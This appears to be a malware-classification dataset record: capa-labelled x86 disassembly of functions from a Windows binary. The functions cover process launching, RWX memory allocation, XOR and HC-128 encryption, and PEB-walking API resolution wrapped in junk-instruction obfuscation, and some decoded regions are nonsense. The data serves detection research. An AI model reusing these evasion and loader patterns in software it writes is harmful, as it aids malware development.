joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x40bc50
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x40bc88
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x40bc7e
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x40bc8a
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x40bc70
xor eax, eax
pop ebx
pop esi
ret

Function at 0x46e420
Capabilities:
Encode data using xor

Disassembly:
add ebp, dword [edx - 0x1c]
lahf
mov dword [eax], ecx
xchg ebp, eax
sar dword [ebx], cl
add eax, 0xdfafacba
xor byte [edx], 0xbb
dec ax
xchg ecx, eax
neg byte [ebx - 0x22]
out 0xc3, eax
test cl, al
nop
mov cl, 0x20
sbb byte [0x77e6d973], dh
mov al, 0xf2
imul edi, dword [ebx + 0x2e], 0xffffffbb
mov cl, byte [ecx - 0xd86c751]
pushfd
sub dh, byte [ecx]
or byte [edi + 0x7d4e0da4], 0xed
pop esp
cmpsb byte [esi], byte es:[edi]
push 0x3a28e2a1
stosd dword es:[edi], eax
or ah, byte [esi]
add edx, ebp
pop edi
ror ebx, cl
dec ebp
xchg edx, eax
push ebx
scasd eax, dword es:[edi]
adc byte [esp + ebp*8], al
dec eax
jl 0x46e4e2
mov dword [ebp - 0x11], esp
invalid
invalid
Function at 0x478474
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x6d6ff8
cmp dword [edi], 0
jne 0x4784f0
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc
mov esi, eax
mov eax, dword [0x6d6ff4]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x6c9a94
mov ecx, 2
call fcn.0040714c
mov edx, 0x47844c
lea eax, [esi + 5]
call fcn.0047846c
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0047846c
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x4784c5
mov dword [0x6d6ff4], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x492be8
Capabilities:
Encode data using xor
Encrypt data using hc-128

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffec8
mov dword [esp], eax
mov ebx, dword [esp]
mov ebx, dword [ebx + 0x90]
mov eax, dword [esp]
mov eax, dword [eax + 0x94]
mov dword [esp + 0xc], eax
mov eax, dword [esp]
mov eax, dword [eax + 0x98]
mov dword [esp + 0x10], eax
mov eax, dword [esp]
mov eax, dword [eax + 0x9c]
mov dword [esp + 0x14], eax
mov esi, dword [esp]
mov esi, dword [esi + 0xa0]
mov eax, dword [esp]
mov eax, dword [eax + 0xa4]
mov dword [esp + 0x18], eax
mov eax, dword [esp]
mov eax, dword [eax + 0xa8]
mov dword [esp + 0x1c], eax
mov eax, dword [esp]
mov eax, dword [eax + 0xac]
mov dword [esp + 0x20], eax
lea edx, [esp + 0x38]
mov eax, dword [esp]
mov ecx, 0x40
call fcn.0040714c
mov edx, 0x10
lea eax, [esp + 0x38]
mov ecx, dword [eax]
mov edi, ecx
shr edi, 0x18
mov ebp, ecx
shl ebp, 0x18
or edi, ebp
mov ebp, ecx
shr ebp, 8
and ebp, 0xff00
or edi, ebp
shl ecx, 8
and ecx, 0xff0000
or edi, ecx
mov dword [eax], edi
add eax, 4
dec edx
jne 0x492c6f
mov edx, 0x30
lea eax, [esp + 0x3c]
mov ecx, dword [eax]
mov dword [esp + 0x24], ecx
mov ecx, dword [eax]
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x24]
shl ecx, 0x19
mov edi, dword [esp + 0x24]
shr edi, 7
or ecx, edi
mov edi, dword [esp + 0x28]
shl edi, 0xe
mov ebp, dword [esp + 0x28]
shr ebp, 0x12
or edi, ebp
xor ecx, edi
mov edi, dword [eax]
shr edi, 3
xor ecx, edi
mov dword [esp + 4], ecx
mov ecx, dword [eax + 0x34]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x2c]
shl ecx, 0xf
mov edi, dword [esp + 0x2c]
shr edi, 0x11
or ecx, edi
mov edi, dword [esp + 0x30]
shl edi, 0xd
mov ebp, dword [esp + 0x30]
shr ebp, 0x13
or edi, ebp
xor ecx, edi
mov edi, dword [eax + 0x34]
shr edi, 0xa
xor ecx, edi
mov edi, dword [eax - 4]
add edi, dword [esp + 4]
add edi, dword [eax + 0x20]
add ecx, edi
mov dword [eax + 0x3c], ecx
add eax, 4
dec edx
jne 0x492ca6
mov edx, 0x40
mov eax, 0x6c9ae0
lea ecx, [esp + 0x38]
mov dword [esp + 0x34], ecx
Function at 0x4c6490
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x4c6498
mov eax, edx
pop esi
pop ebx
ret

Function at 0x4e62c8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.0040b278
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov edx, eax
mov eax, ebx
call fcn.004e5d9c
test al, al
jne 0x4e6329
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0x11
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x6d024c]
mov dl, 1
mov eax, dword [0x4e4ad0]
call fcn.00429118
call fcn.004098c4
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004e5d04
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4ed6e4
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4ed6ea
ret

Function at 0x501d98
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, 0x6cc35c
test edx, edx
jne 0x501db7
xor eax, eax
jmp 0x501ed5
mov dword [ebp - 4], 1
cmp byte [ebp - 4], 0
je 0x501dd4
push esi
push edx
push eax
call fcn.00501ef8
add esp, 0xc
jmp 0x501ed5
push esi
push edx
push eax
call fcn.005021b8
add esp, 0xc
jmp 0x501ed5
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x510ba8
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push eax
xor eax, 0xa589
and eax, 0x1788
and eax, 0x1856a
pop eax
push eax
push eax
add esp, 4
add eax, 0xb6c7
add eax, 0x17238
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x290a
pop ebx
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push ebx
push ebx
add esp, 4
call 0x510ca9
add byte [eax], bh
inc esp
cmp eax, 0x3b3b453d
dec esi
inc ebp
add esp, 4
sub ebx, 0x38f2
pop ebx
push esi
xor esi, 0x12169
and esi, 0x4382
and esi, 0x3fc5
pop esi
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push ecx
xor ecx, 0xaf88
pop ecx
push esi
push esi
add esp, 4
add esi, 0xd328
call 0x510d24
add byte [ebx + 0x40], al
dec ecx
dec ecx
xor ecx, dword [ecx + 0x39]
aas
inc eax
add esp, 4
and esi, 0x14521
and esi, 0x13175
pop esi
mov dword [ebp - 0x10], 1
push eax
push ecx
add esp, 4
add eax, 0x14be3
add eax, 0xc83
and eax, 0x6a77
pop eax
push ecx
sub ecx, 0x9b93
add ecx, 0x8058
xor ecx, 0x17b70
and ecx, 0x16f42
pop ecx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push eax
sub eax, 0xba34
sub eax, 0x6e0f
add eax, 0xbfda
pop eax
push ebx
push edx
add esp, 4
sub ebx, 0x7198
call 0x510dc7
add byte [eax + 0x4e], al
dec ebx
cmp dword [eax + 0x4a], eax
dec esp
dec esi
xor al, byte [ebx + 0x505b04c4]
jmp 0x510dd2
xor eax, 0x102e3
and eax, 0x64d7
add eax, 0x7fa2
pop eax
push esi
push ecx
add esp, 4
and esi, 0x1756
add esi, 0x9d69
xor esi, 0x1096b
pop esi
mov dword [ebp - 0x2c], 1
push esi
xor esi, 0x5114
and esi, 0x7039
pop esi
push edi
xor edi, 0x1051c
pop edi
push eax
and eax, 0x6d66
xor eax, 0x14d70
pop eax
push esi
push edx
add esp, 4
jmp 0x510e35
pop esi
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x511017
Function at 0x510ca9
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push eax
xor eax, 0xa589
and eax, 0x1788
and eax, 0x1856a
pop eax
push eax
push eax
add esp, 4
add eax, 0xb6c7
add eax, 0x17238
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x290a
pop ebx
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push ebx
push ebx
add esp, 4
call 0x510ca9
add byte [eax], bh
inc esp
cmp eax, 0x3b3b453d
dec esi
inc ebp
add esp, 4
sub ebx, 0x38f2
pop ebx
push esi
xor esi, 0x12169
and esi, 0x4382
and esi, 0x3fc5
pop esi
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push ecx
xor ecx, 0xaf88
pop ecx
push esi
push esi
add esp, 4
add esi, 0xd328
call 0x510d24
add byte [ebx + 0x40], al
dec ecx
dec ecx
xor ecx, dword [ecx + 0x39]
aas
inc eax
add esp, 4
and esi, 0x14521
and esi, 0x13175
pop esi
mov dword [ebp - 0x10], 1
push eax
push ecx
add esp, 4
add eax, 0x14be3
add eax, 0xc83
and eax, 0x6a77
pop eax
push ecx
sub ecx, 0x9b93
add ecx, 0x8058
xor ecx, 0x17b70
and ecx, 0x16f42
pop ecx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push eax
sub eax, 0xba34
sub eax, 0x6e0f
add eax, 0xbfda
pop eax
push ebx
push edx
add esp, 4
sub ebx, 0x7198
call 0x510dc7
add byte [eax + 0x4e], al
dec ebx
cmp dword [eax + 0x4a], eax
dec esp
dec esi
xor al, byte [ebx + 0x505b04c4]
jmp 0x510dd2
xor eax, 0x102e3
and eax, 0x64d7
add eax, 0x7fa2
pop eax
push esi
push ecx
add esp, 4
and esi, 0x1756
add esi, 0x9d69
xor esi, 0x1096b
pop esi
mov dword [ebp - 0x2c], 1
push esi
xor esi, 0x5114
and esi, 0x7039
pop esi
push edi
xor edi, 0x1051c
pop edi
push eax
and eax, 0x6d66
xor eax, 0x14d70
pop eax
push esi
push edx
add esp, 4
jmp 0x510e35
pop esi
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x511017
Function at 0x510d24
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push eax
xor eax, 0xa589
and eax, 0x1788
and eax, 0x1856a
pop eax
push eax
push eax
add esp, 4
add eax, 0xb6c7
add eax, 0x17238
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x290a
pop ebx
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push ebx
push ebx
add esp, 4
call 0x510ca9
add byte [eax], bh
inc esp
cmp eax, 0x3b3b453d
dec esi
inc ebp
add esp, 4
sub ebx, 0x38f2
pop ebx
push esi
xor esi, 0x12169
and esi, 0x4382
and esi, 0x3fc5
pop esi
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push ecx
xor ecx, 0xaf88
pop ecx
push esi
push esi
add esp, 4
add esi, 0xd328
call 0x510d24
add byte [ebx + 0x40], al
dec ecx
dec ecx
xor ecx, dword [ecx + 0x39]
aas
inc eax
add esp, 4
and esi, 0x14521
and esi, 0x13175
pop esi
mov dword [ebp - 0x10], 1
push eax
push ecx
add esp, 4
add eax, 0x14be3
add eax, 0xc83
and eax, 0x6a77
pop eax
push ecx
sub ecx, 0x9b93
add ecx, 0x8058
xor ecx, 0x17b70
and ecx, 0x16f42
pop ecx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push eax
sub eax, 0xba34
sub eax, 0x6e0f
add eax, 0xbfda
pop eax
push ebx
push edx
add esp, 4
sub ebx, 0x7198
call 0x510dc7
add byte [eax + 0x4e], al
dec ebx
cmp dword [eax + 0x4a], eax
dec esp
dec esi
xor al, byte [ebx + 0x505b04c4]
jmp 0x510dd2
xor eax, 0x102e3
and eax, 0x64d7
add eax, 0x7fa2
pop eax
push esi
push ecx
add esp, 4
and esi, 0x1756
add esi, 0x9d69
xor esi, 0x1096b
pop esi
mov dword [ebp - 0x2c], 1
push esi
xor esi, 0x5114
and esi, 0x7039
pop esi
push edi
xor edi, 0x1051c
pop edi
push eax
and eax, 0x6d66
xor eax, 0x14d70
pop eax
push esi
push edx
add esp, 4
jmp 0x510e35
pop esi
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x511017
Function at 0x510dc7
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push eax
xor eax, 0xa589
and eax, 0x1788
and eax, 0x1856a
pop eax
push eax
push eax
add esp, 4
add eax, 0xb6c7
add eax, 0x17238
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x290a
pop ebx
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push ebx
push ebx
add esp, 4
call 0x510ca9
add byte [eax], bh
inc esp
cmp eax, 0x3b3b453d
dec esi
inc ebp
add esp, 4
sub ebx, 0x38f2
pop ebx
push esi
xor esi, 0x12169
and esi, 0x4382
and esi, 0x3fc5
pop esi
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push ecx
xor ecx, 0xaf88
pop ecx
push esi
push esi
add esp, 4
add esi, 0xd328
call 0x510d24
add byte [ebx + 0x40], al
dec ecx
dec ecx
xor ecx, dword [ecx + 0x39]
aas
inc eax
add esp, 4
and esi, 0x14521
and esi, 0x13175
pop esi
mov dword [ebp - 0x10], 1
push eax
push ecx
add esp, 4
add eax, 0x14be3
add eax, 0xc83
and eax, 0x6a77
pop eax
push ecx
sub ecx, 0x9b93
add ecx, 0x8058
xor ecx, 0x17b70
and ecx, 0x16f42
pop ecx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push eax
sub eax, 0xba34
sub eax, 0x6e0f
add eax, 0xbfda
pop eax
push ebx
push edx
add esp, 4
sub ebx, 0x7198
call 0x510dc7
add byte [eax + 0x4e], al
dec ebx
cmp dword [eax + 0x4a], eax
dec esp
dec esi
xor al, byte [ebx + 0x505b04c4]
jmp 0x510dd2
xor eax, 0x102e3
and eax, 0x64d7
add eax, 0x7fa2
pop eax
push esi
push ecx
add esp, 4
and esi, 0x1756
add esi, 0x9d69
xor esi, 0x1096b
pop esi
mov dword [ebp - 0x2c], 1
push esi
xor esi, 0x5114
and esi, 0x7039
pop esi
push edi
xor edi, 0x1051c
pop edi
push eax
and eax, 0x6d66
xor eax, 0x14d70
pop eax
push esi
push edx
add esp, 4
jmp 0x510e35
pop esi
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x511017
Function at 0x514773
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add dword [eax], eax
and edi, 0xc20b
jmp 0x514767
call 0x514773
add byte [ecx], bh
inc ebx
inc edi
cmp al, byte ss:[ecx - 0x7d]
les eax, [edi + ebx*2]
push eax
add eax, 0x7ad1
or eax, 0xf7b7
pop eax
push edx
push edi
add esp, 4
sub edx, 0x5a2b
call 0x51479f
add byte [edi + 0x37], al
inc ebp
dec eax
xor al, 0x3b
cmp eax, dword [ebx - 0x357efb3c]
pushal
lodsb al, byte [esi]
add byte [eax], al

Function at 0x51479f
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add dword [eax], eax
and edi, 0xc20b
jmp 0x514767
call 0x514773
add byte [ecx], bh
inc ebx
inc edi
cmp al, byte ss:[ecx - 0x7d]
les eax, [edi + ebx*2]
push eax
add eax, 0x7ad1
or eax, 0xf7b7
pop eax
push edx
push edi
add esp, 4
sub edx, 0x5a2b
call 0x51479f
add byte [edi + 0x37], al
inc ebp
dec eax
xor al, 0x3b
cmp eax, dword [ebx - 0x357efb3c]
pushal
lodsb al, byte [esi]
add byte [eax], al
Function at 0x514bd2
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor edx, 0x16a67
and edx, 0x10c43
call 0x514bef
add byte [ebx + 0x4e], al
xor al, 0x4a
inc ebx
xor bh, byte [ecx]
cmp byte [ebx - 0x46a5fb3c], al
imul eax, dword [eax], 0
add byte [esi - 0x77], ah
invalid

Function at 0x514bef
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor edx, 0x16a67
and edx, 0x10c43
call 0x514bef
add byte [ebx + 0x4e], al
xor al, 0x4a
inc ebx
xor bh, byte [ecx]
cmp byte [ebx - 0x46a5fb3c], al
imul eax, dword [eax], 0
add byte [esi - 0x77], ah
invalid

Function at 0x514cda
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and esi, 0x132c5
pop esi
push edi
push ecx
add esp, 4
and edi, 0xb38c
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edi
sub edi, 0x11d4c
sub edi, 0xb002
add edi, 0x18f1
pop edi
push edi
push edx
add esp, 4
or edi, 0xee9c
and edi, 0x17e19
sub edi, 0xc614
xor edi, 0x119a
pop edi
cmp dword [ebp - 0x14d4], 0
jne 0x514d62
mov dword [ebp - 0x2e0], 0
jmp 0x51501e
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push esi
push eax
add esp, 4
call 0x514d89
add byte [esi + 0x3b], al
dec edx
cmp al, 0x35
dec esi
cmp dword [edi], esi
cmp al, byte [ebx + 0x3eb04c4]
inc edx
xor al, byte [ebx - 0x7f]
into
xchg ebp, eax
dec edi
add byte [eax], al
and esi, 0x139d
pop esi
push eax
jmp 0x514da5
pop eax
cmp dword [ebp - 0xc20], 0
jne 0x514dbe
mov dword [ebp - 0x2e0], 0
jmp 0x51501e
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push esi
jmp 0x514dd1
and esi, 0x72b8
sub esi, 0xb62f
pop esi
push eax
push ecx
add esp, 4
xor eax, 0x874e
call 0x514df8
add byte [edi], dh
dec edi
aas
dec eax
xor cl, byte [ebx + 0x4f]
dec eax
cmp al, byte [ebx - 0x72a7fb3c]
invalid
push esi
jmp 0x515026
or esi, 0x16863
pop esi
push eax
call 0x51503a
add byte [eax + 0x4a], cl
cmp dword [eax + 0x44], ecx
cmp eax, 0x8104c483
enter 0xffffffffffffda3e, 0
add byte [ecx + 0x1c96c0], al
add byte [ecx + 0xdb1be0], al
add byte [eax - 0x7d], bl
mov ebp, 0xfffffd20
add byte [edi], cl
test dword [ecx + ecx], ecx
add byte [eax], al
mov edx, 0x6b
add byte [eax], al
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
invalid
invalid